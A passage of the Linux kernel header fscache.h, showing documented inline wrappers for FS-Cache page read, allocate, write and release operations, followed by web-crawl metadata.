* cookie so that a write to that object within the space can always be
* honoured.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_reserve_space(struct fscache_cookie *cookie, loff_t size)
{
return -ENOBUFS;
}
/**
* fscache_read_or_alloc_page - Read a page from the cache or allocate a block
* in which to store it
* @cookie: The cookie representing the cache object
* @page: The netfs page to fill if possible
* @end_io_func: The callback to invoke when and if the page is filled
* @context: An arbitrary piece of data to pass on to end_io_func()
* @gfp: The conditions under which memory allocation should be made
*
* Read a page from the cache, or if that's not possible make a potential
* one-block reservation in the cache into which the page may be stored once
* fetched from the server.
*
* If the page is not backed by the cache object, or if it there's some reason
* it can't be, -ENOBUFS will be returned and nothing more will be done for
* that page.
*
* Else, if that page is backed by the cache, a read will be initiated directly
* to the netfs's page and 0 will be returned by this function. The
* end_io_func() callback will be invoked when the operation terminates on a
* completion or failure. Note that the callback may be invoked before the
* return.
*
* Else, if the page is unbacked, -ENODATA is returned and a block may have
* been allocated in the cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_read_or_alloc_page(struct fscache_cookie *cookie,
struct page *page,
fscache_rw_complete_t end_io_func,
void *context,
gfp_t gfp)
{
if (fscache_cookie_valid(cookie))
return __fscache_read_or_alloc_page(cookie, page, end_io_func,
context, gfp);
else
return -ENOBUFS;
}
/**
* fscache_read_or_alloc_pages - Read pages from the cache and/or allocate
* blocks in which to store them
* @cookie: The cookie representing the cache object
* @mapping: The netfs inode mapping to which the pages will be attached
* @pages: A list of potential netfs pages to be filled
* @nr_pages: Number of pages to be read and/or allocated
* @end_io_func: The callback to invoke when and if each page is filled
* @context: An arbitrary piece of data to pass on to end_io_func()
* @gfp: The conditions under which memory allocation should be made
*
* Read a set of pages from the cache, or if that's not possible, attempt to
* make a potential one-block reservation for each page in the cache into which
* that page may be stored once fetched from the server.
*
* If some pages are not backed by the cache object, or if it there's some
* reason they can't be, -ENOBUFS will be returned and nothing more will be
* done for that pages.
*
* Else, if some of the pages are backed by the cache, a read will be initiated
* directly to the netfs's page and 0 will be returned by this function. The
* end_io_func() callback will be invoked when the operation terminates on a
* completion or failure. Note that the callback may be invoked before the
* return.
*
* Else, if a page is unbacked, -ENODATA is returned and a block may have
* been allocated in the cache.
*
* Because the function may want to return all of -ENOBUFS, -ENODATA and 0 in
* regard to different pages, the return values are prioritised in that order.
* Any pages submitted for reading are removed from the pages list.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_read_or_alloc_pages(struct fscache_cookie *cookie,
struct address_space *mapping,
struct list_head *pages,
unsigned *nr_pages,
fscache_rw_complete_t end_io_func,
void *context,
gfp_t gfp)
{
if (fscache_cookie_valid(cookie))
return __fscache_read_or_alloc_pages(cookie, mapping, pages,
nr_pages, end_io_func,
context, gfp);
else
return -ENOBUFS;
}
/**
* fscache_alloc_page - Allocate a block in which to store a page
* @cookie: The cookie representing the cache object
* @page: The netfs page to allocate a page for
* @gfp: The conditions under which memory allocation should be made
*
* Request Allocation a block in the cache in which to store a netfs page
* without retrieving any contents from the cache.
*
* If the page is not backed by a file then -ENOBUFS will be returned and
* nothing more will be done, and no reservation will be made.
*
* Else, a block will be allocated if one wasn't already, and 0 will be
* returned
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_alloc_page(struct fscache_cookie *cookie,
struct page *page,
gfp_t gfp)
{
if (fscache_cookie_valid(cookie))
return __fscache_alloc_page(cookie, page, gfp);
else
return -ENOBUFS;
}
/**
* fscache_write_page - Request storage of a page in the cache
* @cookie: The cookie representing the cache object
* @page: The netfs page to store
* @gfp: The conditions under which memory allocation should be made
*
* Request the contents of the netfs page be written into the cache. This
* request may be ignored if no cache block is currently allocated, in which
* case it will return -ENOBUFS.
*
* If a cache block was already allocated, a write will be initiated and 0 will
* be returned. The PG_fscache_write page bit is set immediately and will then
* be cleared at the completion of the write to indicate the success or failure
* of the operation. Note that the completion may happen before the return.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
int fscache_write_page(struct fscache_cookie *cookie,
struct page *page,
gfp_t gfp)
{
if (fscache_cookie_valid(cookie))
return __fscache_write_page(cookie, page, gfp);
else
return -ENOBUFS;
}
/**
* fscache_uncache_page - Indicate that caching is no longer required on a page
* @cookie: The cookie representing the cache object
* @page: The netfs page that was being cached.
*
* Tell the cache that we no longer want a page to be cached and that it should
* remove any knowledge of the netfs page it may have.
*
* Note that this cannot cancel any outstanding I/O operations between this
* page and the cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_uncache_page(struct fscache_cookie *cookie,
struct page *page)
{
if (fscache_cookie_valid(cookie))
__fscache_uncache_page(cookie, page);
}
/**
* fscache_check_page_write - Ask if a page is being writing to the cache
* @cookie: The cookie representing the cache object
* @page: The netfs page that is being cached.
*
* Ask the cache if a page is being written to the cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
bool fscache_check_page_write(struct fscache_cookie *cookie,
struct page *page)
{
if (fscache_cookie_valid(cookie))
return __fscache_check_page_write(cookie, page);
return false;
}
/**
* fscache_wait_on_page_write - Wait for a page to complete writing to the cache
* @cookie: The cookie representing the cache object
* @page: The netfs page that is being cached.
*
* Ask the cache to wake us up when a page is no longer being written to the
* cache.
*
* See Documentation/filesystems/caching/netfs-api.txt for a complete
* description.
*/
static inline
void fscache_wait_on_page_write(struct fscache_cookie *cookie,
struct page *page)
{
if (fscache_cookie_valid(cookie))
__fscache_wait_on_page_write(cookie, page);
}
/**
* fscache_maybe_release_page - Consider releasing a page, cancelling a store
* @cookie: The cookie representing the cache object
* @page: The netfs page that is being cached.
* @gfp: The gfp flags passed to releasepage()
*
* Consider releasing a page for the vmscan algorithm, on behalf of the netfs's
* releasepage() call. A storage request on the page may cancelled if it is
* not currently being processed.
*
* The function returns true if the page no longer has a storage request on it,
* and false if a storage request is left in place. If true is returned, the
* page will have been passed to fscache_uncache_page(). If false is returned
* the page cannot be freed yet.
*/
static inline
bool fscache_maybe_release_page(struct fscache_cookie *cookie,
struct page *page,
gfp_t gfp)
{
if (fscache_cookie_valid(cookie) && PageFsCache(page))
return __fscache_maybe_release_page(cookie, page, gfp);
return false;
}
#endif /* _LINUX_FSCACHE_H */
|
{
"url": "https://git.osmocom.org/dect/linux-2.6/tree/include/linux/fscache.h?h=v3.3-rc4&id=25985edcedea6396277003854657b5f3cb31a628",
"source_domain": "git.osmocom.org",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "84922",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IRLVN5JZNZIBLCISYF7LS74ZELMTQGW2",
"WARC-Concurrent-To": "<urn:uuid:b3ec11f6-7544-4cd0-88c2-bc300c5bab83>",
"WARC-Date": "2021-12-01T09:55:46Z",
"WARC-IP-Address": "78.46.96.155",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:NBHCGGTCHRZEIO75ZQK46A4ANO66ONGR",
"WARC-Record-ID": "<urn:uuid:3292f9b1-d568-4487-82a0-5c3e31eac8bc>",
"WARC-Target-URI": "https://git.osmocom.org/dect/linux-2.6/tree/include/linux/fscache.h?h=v3.3-rc4&id=25985edcedea6396277003854657b5f3cb31a628",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:79636159-465a-46a0-9fb4-0adf525fb159>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-235\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
39,
74,
129,
131,
133,
135,
137,
139,
141,
143,
145,
147,
150,
153,
156,
159,
162,
165,
168,
171,
174,
177,
180,
183,
186,
189,
192,
195,
198,
201,
204,
207,
210,
213,
216,
219,
222,
225,
228,
231,
234,
237,
240,
243,
246,
249,
252,
255,
258,
261,
264,
267,
270,
273,
276,
279,
282,
285,
288,
291,
294,
297,
300,
303,
306,
309,
312,
315,
318,
321,
324,
327,
330,
333,
336,
339,
342,
345,
348,
351,
354,
357,
360,
363,
366,
369,
372,
375,
378,
381,
384,
387,
390,
393,
396,
399,
402,
405,
408,
411,
414,
417,
421,
425,
429,
433,
437,
441,
445,
449,
453,
457,
461,
465,
469,
473,
477,
481,
485,
489,
493,
497,
501,
505,
509,
513,
517,
521,
525,
529,
533,
537,
541,
545,
549,
553,
557,
561,
565,
569,
573,
577,
581,
585,
589,
593,
597,
601,
605,
609,
613,
617,
621,
625,
629,
633,
637,
641,
645,
649,
653,
657,
661,
665,
669,
673,
677,
681,
685,
689,
693,
697,
701,
705,
709,
713,
717,
721,
725,
729,
733,
737,
741,
745,
749,
753,
757,
761,
765,
769,
773,
777,
781,
785,
789,
793,
797,
801,
805,
809,
813,
817,
821,
825,
829,
833,
837,
841,
845,
849,
853,
857,
861,
865,
869,
873,
877,
881,
885,
889,
893,
897,
901,
905,
909,
913,
917,
921,
925,
929,
933,
937,
941,
945,
949,
953,
957,
961,
965,
969,
973,
977,
981,
985,
989,
993,
997,
1001,
1005,
1009,
1013,
1017,
1021,
1025,
1029,
1033,
1037,
1041,
1045,
1049,
1053,
1057,
1061,
1065,
1069,
1073,
1077,
1081,
1085,
1089,
1093,
1097,
1101,
1105,
1109,
1113,
1117,
1121,
1125,
1129,
1133,
1137,
1141,
1145,
1149,
1153,
1157,
1161,
1165,
1169,
1173,
1177,
1181,
1185,
1189,
1193,
1197,
1201,
1205,
1209,
1213,
1217,
1221,
1225,
1229,
1233,
1237,
1241,
1245,
1249,
1253,
1257,
1261,
1265,
1269,
1273,
1277,
1281,
1285,
1289,
1293,
1297,
1301,
1305,
1309,
1313,
1317,
1321,
1325,
1329,
1333,
1337,
1341,
1345,
1349,
1353,
1357,
1361,
1365,
1369,
1373,
1377,
1381,
1385,
1389,
1393,
1397,
1401,
1405,
1409,
1413,
1417,
1421,
1425,
1429,
1433,
1437,
1441,
1445,
1449,
1453,
1457,
1461,
1465,
1469,
1473,
1477,
1481,
1485,
1489,
1493,
1497,
1501,
1505,
1509,
1513,
1517,
1521,
1525,
1529,
1533,
1537,
1541,
1545,
1549,
1553,
1557,
1561,
1565,
1569,
1573,
1577,
1581,
1585,
1589,
1593,
1597,
1601,
1605,
1609,
1613,
1617,
1621,
1625,
1629,
1633,
1637,
1641,
1645,
1649,
1653,
1657,
1661,
1665,
1669,
1673,
1677,
1681,
1685,
1689,
1693,
1697,
1701,
1705,
1709,
1713,
1717,
1721,
1725,
1729,
1733,
1737,
1741,
1745,
1749,
1753,
1757,
1761,
1765,
1769,
1773,
1777,
1781,
1785,
1789,
1793,
1797,
1801,
1805,
1809,
1813,
1817,
1821,
1825,
1829,
1833,
1837,
1841,
1845,
1849,
1853,
1857,
1861,
1865,
1869,
1873,
1877,
1881,
1885,
1889,
1893,
1897,
1901,
1905,
1909,
1913,
1917,
1921,
1925,
1929,
1933,
1937,
1941,
1945,
1949,
1953,
1957,
1961,
1965,
1969,
1973,
1977,
1981,
1985,
1989,
1993,
1997,
2001,
2005,
2009,
2013,
2017,
2021,
2025,
2029,
2033,
2037,
2041,
2045,
2049,
2053,
2057,
2061,
2065,
2069,
2073,
2077,
2081,
2085,
2089,
2093,
2097,
2101,
2105,
2109,
2113,
2117,
2121,
2125,
2129,
2133,
2137,
2141,
2145,
2149,
2153,
2157,
2161,
2165,
2169,
2173,
2177,
2181,
2185,
2189,
2193,
2197,
2201,
2205,
2209,
2213,
2217,
2221,
2225,
2229,
2233,
2237,
2241,
2245,
2249,
2253,
2257,
2261,
2265,
2269,
2273,
2277,
2281,
2285,
2289,
2293,
2297,
2301,
2305,
2309,
2313,
2317,
2321,
2325,
2329,
2333,
2337,
2341,
2345,
2349,
2353,
2357,
2361,
2365,
2369,
2373,
2377,
2381,
2385,
2389,
2393,
2397,
2401,
2405,
2409,
2413,
2417,
2421,
2425,
2429,
2433,
2437,
2441,
2445,
2449,
2453,
2457,
2461,
2465,
2469,
2473,
2477,
2481,
2485,
2489,
2493,
2497,
2501,
2505,
2509,
2513,
2517,
2521,
2525,
2529,
2533,
2537,
2541,
2545,
2549,
2553,
2557,
2561,
2565,
2569,
2573,
2577,
2581,
2585,
2589,
2593,
2597,
2601,
2605,
2645,
2648,
2710,
2760,
2763,
2828,
2891,
2955,
3015,
3018,
3034,
3037,
3088,
3091,
3163,
3167,
3168,
3193,
3218,
3219,
3241,
3265,
3292,
3319,
3320,
3382,
3414,
3460,
3466,
3498,
3539,
3546,
3547,
3548,
3551,
3630,
3682,
3686,
3734,
3788,
3846,
3907,
3972,
3973,
4029,
4073,
4074,
4090,
4116,
4139,
4161,
4162,
4219,
4244,
4266,
4267,
4308,
4332,
4380,
4440,
4498,
4501,
4502,
4505,
4534,
4538,
4566,
4593,
4609,
4610,
4629,
4644,
4680,
4719,
4720,
4785,
4800,
4872,
4942,
4976,
4981,
5025,
5058,
5092,
5093,
5114,
5160,
5206,
5245,
5310,
5326,
5331,
5383,
5404,
5429,
5430,
5482,
5529,
5568,
5633,
5649,
5654,
5720,
5721,
5764,
5833,
5885,
5933,
5972,
6037,
6053,
6058,
6110,
6131,
6156,
6157,
6208,
6277,
6342,
6384,
6389,
6450,
6476,
6503,
6504,
6549,
6618,
6642,
6647,
6709,
6710,
6759,
6828,
6852,
6857,
6919,
6920,
6977,
7049,
7118,
7152,
7157,
7209,
7246,
7282,
7283,
7327,
7398,
7424,
7491,
7510,
7568,
7573,
7621,
7624,
7625,
7628,
7670,
7735,
7789,
7793,
7816,
7860,
7904,
7944,
7990,
7993,
7994,
7997,
8074,
8116,
8157,
8230,
8274,
8278,
8339,
8403,
8478,
8547,
8548,
8604,
8630,
8666,
8676,
8747,
8809,
8869,
8934,
8954,
8982,
8995,
9008,
9074,
9104,
9130,
9148,
9177,
9191,
9205,
9285,
9365,
9441,
9521,
9603,
9684,
9698,
9699,
9703,
9782,
9827,
9830,
9906,
9909,
9979,
9995,
9999,
10013,
10069,
10071,
10097,
10139,
10145,
10157,
10159,
10160,
10164,
10239,
10259,
10304,
10307,
10380,
10391,
10394,
10464,
10480,
10484,
10498,
10557,
10559,
10585,
10622,
10624,
10625,
10629,
10679,
10723,
10726,
10805,
10842,
10845,
10915,
10931,
10935,
10949,
11018,
11020,
11046,
11089,
11095,
11110,
11112,
11113,
11117,
11168,
11196,
11199,
11268,
11271,
11341,
11357,
11361,
11375,
11437,
11439,
11465,
11501,
11503,
11504,
11508,
11581,
11640,
11714,
11785,
11828,
11831,
11908,
11986,
12025,
12028,
12098,
12114,
12118,
12132,
12179,
12211,
12250,
12269,
12271,
12306,
12366,
12372,
12387,
12389,
12390,
12394,
12474,
12480,
12518,
12596,
12599,
12671,
12724,
12727,
12797,
12813,
12817,
12831,
12905,
12907,
12942,
12989,
12991,
12992,
12996,
13062,
13115,
13118,
13198,
13209,
13212,
13282,
13298,
13302,
13316,
13374,
13376,
13411,
13446,
13448,
13449,
13453,
13522,
13575,
13578,
13642,
13645,
13715,
13731,
13735,
13749,
13803,
13805,
13823,
13825,
13826,
13830,
13901,
13954,
13957,
14025,
14028,
14098,
14114,
14118,
14132,
14189,
14191,
14193,
14194,
14198,
14273,
14326,
14329,
14409,
14486,
14534,
14537,
14607,
14623,
14627,
14641,
14697,
14699,
14734,
14775,
14781,
14800,
14802,
14803,
14807,
14873,
14926,
14973,
14976,
15054,
15126,
15139,
15142,
15212,
15228,
15232,
15246,
15316,
15318,
15336,
15338,
15339,
15343,
15422,
15446,
15499,
15544,
15615,
15683,
15752,
15755,
15829,
15906,
15934,
15937,
16016,
16092,
16106,
16109,
16189,
16258,
16335,
16411,
16422,
16425,
16501,
16533,
16536,
16606,
16622,
16626,
16640,
16702,
16731,
16776,
16801,
16822,
16824,
16859,
16924,
16949,
16955,
16974,
16976,
16977,
16981,
17056,
17089,
17142,
17215,
17271,
17329,
17401,
17469,
17538,
17541,
17618,
17698,
17755,
17758,
17833,
17909,
17933,
17936,
18016,
18094,
18171,
18247,
18258,
18261,
18335,
18367,
18370,
18448,
18527,
18595,
18598,
18668,
18684,
18688,
18702,
18765,
18800,
18829,
18853,
18892,
18911,
18926,
18928,
18963,
19026,
19060,
19086,
19092,
19111,
19113,
19114,
19118,
19184,
19237,
19285,
19354,
19357,
19431,
19482,
19485,
19559,
19622,
19625,
19697,
19709,
19712,
19782,
19798,
19802,
19816,
19870,
19898,
19918,
19920,
19955,
20005,
20011,
20030,
20032,
20033,
20037,
20100,
20153,
20187,
20256,
20259,
20334,
20411,
20444,
20447,
20527,
20607,
20687,
20764,
20767,
20837,
20853,
20857,
20871,
20925,
20953,
20973,
20975,
21010,
21060,
21066,
21085,
21087,
21088,
21092,
21172,
21225,
21273,
21276,
21356,
21411,
21414,
21490,
21513,
21516,
21586,
21602,
21606,
21620,
21677,
21701,
21703,
21738,
21778,
21780,
21781,
21785,
21859,
21912,
21959,
21962,
22020,
22023,
22093,
22109,
22113,
22127,
22188,
22216,
22218,
22253,
22304,
22319,
22321,
22322,
22326,
22407,
22460,
22507,
22510,
22587,
22597,
22600,
22670,
22686,
22690,
22704,
22767,
22790,
22792,
22827,
22873,
22875,
22876,
22880,
22958,
23011,
23058,
23105,
23108,
23188,
23265,
23299,
23302,
23382,
23460,
23539,
23572,
23576,
23590,
23653,
23676,
23691,
23693,
23749,
23807,
23822,
23824,
23825
],
"line_end_idx": [
39,
74,
129,
131,
133,
135,
137,
139,
141,
143,
145,
147,
150,
153,
156,
159,
162,
165,
168,
171,
174,
177,
180,
183,
186,
189,
192,
195,
198,
201,
204,
207,
210,
213,
216,
219,
222,
225,
228,
231,
234,
237,
240,
243,
246,
249,
252,
255,
258,
261,
264,
267,
270,
273,
276,
279,
282,
285,
288,
291,
294,
297,
300,
303,
306,
309,
312,
315,
318,
321,
324,
327,
330,
333,
336,
339,
342,
345,
348,
351,
354,
357,
360,
363,
366,
369,
372,
375,
378,
381,
384,
387,
390,
393,
396,
399,
402,
405,
408,
411,
414,
417,
421,
425,
429,
433,
437,
441,
445,
449,
453,
457,
461,
465,
469,
473,
477,
481,
485,
489,
493,
497,
501,
505,
509,
513,
517,
521,
525,
529,
533,
537,
541,
545,
549,
553,
557,
561,
565,
569,
573,
577,
581,
585,
589,
593,
597,
601,
605,
609,
613,
617,
621,
625,
629,
633,
637,
641,
645,
649,
653,
657,
661,
665,
669,
673,
677,
681,
685,
689,
693,
697,
701,
705,
709,
713,
717,
721,
725,
729,
733,
737,
741,
745,
749,
753,
757,
761,
765,
769,
773,
777,
781,
785,
789,
793,
797,
801,
805,
809,
813,
817,
821,
825,
829,
833,
837,
841,
845,
849,
853,
857,
861,
865,
869,
873,
877,
881,
885,
889,
893,
897,
901,
905,
909,
913,
917,
921,
925,
929,
933,
937,
941,
945,
949,
953,
957,
961,
965,
969,
973,
977,
981,
985,
989,
993,
997,
1001,
1005,
1009,
1013,
1017,
1021,
1025,
1029,
1033,
1037,
1041,
1045,
1049,
1053,
1057,
1061,
1065,
1069,
1073,
1077,
1081,
1085,
1089,
1093,
1097,
1101,
1105,
1109,
1113,
1117,
1121,
1125,
1129,
1133,
1137,
1141,
1145,
1149,
1153,
1157,
1161,
1165,
1169,
1173,
1177,
1181,
1185,
1189,
1193,
1197,
1201,
1205,
1209,
1213,
1217,
1221,
1225,
1229,
1233,
1237,
1241,
1245,
1249,
1253,
1257,
1261,
1265,
1269,
1273,
1277,
1281,
1285,
1289,
1293,
1297,
1301,
1305,
1309,
1313,
1317,
1321,
1325,
1329,
1333,
1337,
1341,
1345,
1349,
1353,
1357,
1361,
1365,
1369,
1373,
1377,
1381,
1385,
1389,
1393,
1397,
1401,
1405,
1409,
1413,
1417,
1421,
1425,
1429,
1433,
1437,
1441,
1445,
1449,
1453,
1457,
1461,
1465,
1469,
1473,
1477,
1481,
1485,
1489,
1493,
1497,
1501,
1505,
1509,
1513,
1517,
1521,
1525,
1529,
1533,
1537,
1541,
1545,
1549,
1553,
1557,
1561,
1565,
1569,
1573,
1577,
1581,
1585,
1589,
1593,
1597,
1601,
1605,
1609,
1613,
1617,
1621,
1625,
1629,
1633,
1637,
1641,
1645,
1649,
1653,
1657,
1661,
1665,
1669,
1673,
1677,
1681,
1685,
1689,
1693,
1697,
1701,
1705,
1709,
1713,
1717,
1721,
1725,
1729,
1733,
1737,
1741,
1745,
1749,
1753,
1757,
1761,
1765,
1769,
1773,
1777,
1781,
1785,
1789,
1793,
1797,
1801,
1805,
1809,
1813,
1817,
1821,
1825,
1829,
1833,
1837,
1841,
1845,
1849,
1853,
1857,
1861,
1865,
1869,
1873,
1877,
1881,
1885,
1889,
1893,
1897,
1901,
1905,
1909,
1913,
1917,
1921,
1925,
1929,
1933,
1937,
1941,
1945,
1949,
1953,
1957,
1961,
1965,
1969,
1973,
1977,
1981,
1985,
1989,
1993,
1997,
2001,
2005,
2009,
2013,
2017,
2021,
2025,
2029,
2033,
2037,
2041,
2045,
2049,
2053,
2057,
2061,
2065,
2069,
2073,
2077,
2081,
2085,
2089,
2093,
2097,
2101,
2105,
2109,
2113,
2117,
2121,
2125,
2129,
2133,
2137,
2141,
2145,
2149,
2153,
2157,
2161,
2165,
2169,
2173,
2177,
2181,
2185,
2189,
2193,
2197,
2201,
2205,
2209,
2213,
2217,
2221,
2225,
2229,
2233,
2237,
2241,
2245,
2249,
2253,
2257,
2261,
2265,
2269,
2273,
2277,
2281,
2285,
2289,
2293,
2297,
2301,
2305,
2309,
2313,
2317,
2321,
2325,
2329,
2333,
2337,
2341,
2345,
2349,
2353,
2357,
2361,
2365,
2369,
2373,
2377,
2381,
2385,
2389,
2393,
2397,
2401,
2405,
2409,
2413,
2417,
2421,
2425,
2429,
2433,
2437,
2441,
2445,
2449,
2453,
2457,
2461,
2465,
2469,
2473,
2477,
2481,
2485,
2489,
2493,
2497,
2501,
2505,
2509,
2513,
2517,
2521,
2525,
2529,
2533,
2537,
2541,
2545,
2549,
2553,
2557,
2561,
2565,
2569,
2573,
2577,
2581,
2585,
2589,
2593,
2597,
2601,
2605,
2645,
2648,
2710,
2760,
2763,
2828,
2891,
2955,
3015,
3018,
3034,
3037,
3088,
3091,
3163,
3167,
3168,
3193,
3218,
3219,
3241,
3265,
3292,
3319,
3320,
3382,
3414,
3460,
3466,
3498,
3539,
3546,
3547,
3548,
3551,
3630,
3682,
3686,
3734,
3788,
3846,
3907,
3972,
3973,
4029,
4073,
4074,
4090,
4116,
4139,
4161,
4162,
4219,
4244,
4266,
4267,
4308,
4332,
4380,
4440,
4498,
4501,
4502,
4505,
4534,
4538,
4566,
4593,
4609,
4610,
4629,
4644,
4680,
4719,
4720,
4785,
4800,
4872,
4942,
4976,
4981,
5025,
5058,
5092,
5093,
5114,
5160,
5206,
5245,
5310,
5326,
5331,
5383,
5404,
5429,
5430,
5482,
5529,
5568,
5633,
5649,
5654,
5720,
5721,
5764,
5833,
5885,
5933,
5972,
6037,
6053,
6058,
6110,
6131,
6156,
6157,
6208,
6277,
6342,
6384,
6389,
6450,
6476,
6503,
6504,
6549,
6618,
6642,
6647,
6709,
6710,
6759,
6828,
6852,
6857,
6919,
6920,
6977,
7049,
7118,
7152,
7157,
7209,
7246,
7282,
7283,
7327,
7398,
7424,
7491,
7510,
7568,
7573,
7621,
7624,
7625,
7628,
7670,
7735,
7789,
7793,
7816,
7860,
7904,
7944,
7990,
7993,
7994,
7997,
8074,
8116,
8157,
8230,
8274,
8278,
8339,
8403,
8478,
8547,
8548,
8604,
8630,
8666,
8676,
8747,
8809,
8869,
8934,
8954,
8982,
8995,
9008,
9074,
9104,
9130,
9148,
9177,
9191,
9205,
9285,
9365,
9441,
9521,
9603,
9684,
9698,
9699,
9703,
9782,
9827,
9830,
9906,
9909,
9979,
9995,
9999,
10013,
10069,
10071,
10097,
10139,
10145,
10157,
10159,
10160,
10164,
10239,
10259,
10304,
10307,
10380,
10391,
10394,
10464,
10480,
10484,
10498,
10557,
10559,
10585,
10622,
10624,
10625,
10629,
10679,
10723,
10726,
10805,
10842,
10845,
10915,
10931,
10935,
10949,
11018,
11020,
11046,
11089,
11095,
11110,
11112,
11113,
11117,
11168,
11196,
11199,
11268,
11271,
11341,
11357,
11361,
11375,
11437,
11439,
11465,
11501,
11503,
11504,
11508,
11581,
11640,
11714,
11785,
11828,
11831,
11908,
11986,
12025,
12028,
12098,
12114,
12118,
12132,
12179,
12211,
12250,
12269,
12271,
12306,
12366,
12372,
12387,
12389,
12390,
12394,
12474,
12480,
12518,
12596,
12599,
12671,
12724,
12727,
12797,
12813,
12817,
12831,
12905,
12907,
12942,
12989,
12991,
12992,
12996,
13062,
13115,
13118,
13198,
13209,
13212,
13282,
13298,
13302,
13316,
13374,
13376,
13411,
13446,
13448,
13449,
13453,
13522,
13575,
13578,
13642,
13645,
13715,
13731,
13735,
13749,
13803,
13805,
13823,
13825,
13826,
13830,
13901,
13954,
13957,
14025,
14028,
14098,
14114,
14118,
14132,
14189,
14191,
14193,
14194,
14198,
14273,
14326,
14329,
14409,
14486,
14534,
14537,
14607,
14623,
14627,
14641,
14697,
14699,
14734,
14775,
14781,
14800,
14802,
14803,
14807,
14873,
14926,
14973,
14976,
15054,
15126,
15139,
15142,
15212,
15228,
15232,
15246,
15316,
15318,
15336,
15338,
15339,
15343,
15422,
15446,
15499,
15544,
15615,
15683,
15752,
15755,
15829,
15906,
15934,
15937,
16016,
16092,
16106,
16109,
16189,
16258,
16335,
16411,
16422,
16425,
16501,
16533,
16536,
16606,
16622,
16626,
16640,
16702,
16731,
16776,
16801,
16822,
16824,
16859,
16924,
16949,
16955,
16974,
16976,
16977,
16981,
17056,
17089,
17142,
17215,
17271,
17329,
17401,
17469,
17538,
17541,
17618,
17698,
17755,
17758,
17833,
17909,
17933,
17936,
18016,
18094,
18171,
18247,
18258,
18261,
18335,
18367,
18370,
18448,
18527,
18595,
18598,
18668,
18684,
18688,
18702,
18765,
18800,
18829,
18853,
18892,
18911,
18926,
18928,
18963,
19026,
19060,
19086,
19092,
19111,
19113,
19114,
19118,
19184,
19237,
19285,
19354,
19357,
19431,
19482,
19485,
19559,
19622,
19625,
19697,
19709,
19712,
19782,
19798,
19802,
19816,
19870,
19898,
19918,
19920,
19955,
20005,
20011,
20030,
20032,
20033,
20037,
20100,
20153,
20187,
20256,
20259,
20334,
20411,
20444,
20447,
20527,
20607,
20687,
20764,
20767,
20837,
20853,
20857,
20871,
20925,
20953,
20973,
20975,
21010,
21060,
21066,
21085,
21087,
21088,
21092,
21172,
21225,
21273,
21276,
21356,
21411,
21414,
21490,
21513,
21516,
21586,
21602,
21606,
21620,
21677,
21701,
21703,
21738,
21778,
21780,
21781,
21785,
21859,
21912,
21959,
21962,
22020,
22023,
22093,
22109,
22113,
22127,
22188,
22216,
22218,
22253,
22304,
22319,
22321,
22322,
22326,
22407,
22460,
22507,
22510,
22587,
22597,
22600,
22670,
22686,
22690,
22704,
22767,
22790,
22792,
22827,
22873,
22875,
22876,
22880,
22958,
23011,
23058,
23105,
23108,
23188,
23265,
23299,
23302,
23382,
23460,
23539,
23572,
23576,
23590,
23653,
23676,
23691,
23693,
23749,
23807,
23822,
23824,
23825,
23854
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 23854,
"ccnet_original_nlines": 1294,
"rps_doc_curly_bracket": 0.0018445500172674656,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2164771556854248,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.008367300033569336,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.4089251160621643,
"rps_doc_frac_unique_words": 0.3614419996738434,
"rps_doc_mean_word_length": 5.434482574462891,
"rps_doc_num_sentences": 97,
"rps_doc_symbol_to_word_ratio": 0.004720020107924938,
"rps_doc_unigram_entropy": 5.951535224914551,
"rps_doc_word_count": 3190,
"rps_doc_frac_chars_dupe_10grams": 0.19398939609527588,
"rps_doc_frac_chars_dupe_5grams": 0.36582833528518677,
"rps_doc_frac_chars_dupe_6grams": 0.3311605751514435,
"rps_doc_frac_chars_dupe_7grams": 0.32077756524086,
"rps_doc_frac_chars_dupe_8grams": 0.28795570135116577,
"rps_doc_frac_chars_dupe_9grams": 0.27520766854286194,
"rps_doc_frac_chars_top_2gram": 0.02307336963713169,
"rps_doc_frac_chars_top_3gram": 0.01615135930478573,
"rps_doc_frac_chars_top_4gram": 0.05370327830314636,
"rps_doc_books_importance": -2193.55859375,
"rps_doc_books_importance_length_correction": -2193.55859375,
"rps_doc_openwebtext_importance": -1349.388427734375,
"rps_doc_openwebtext_importance_length_correction": -1349.388427734375,
"rps_doc_wikipedia_importance": -876.3383178710938,
"rps_doc_wikipedia_importance_length_correction": -876.3383178710938
},
"fasttext": {
"dclm": 0.6902481317520142,
"english": 0.5030141472816467,
"fineweb_edu_approx": 1.161339282989502,
"eai_general_math": 0.3803812265396118,
"eai_open_web_math": 0.2885265350341797,
"eai_web_code": 0.7555627226829529
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.62",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
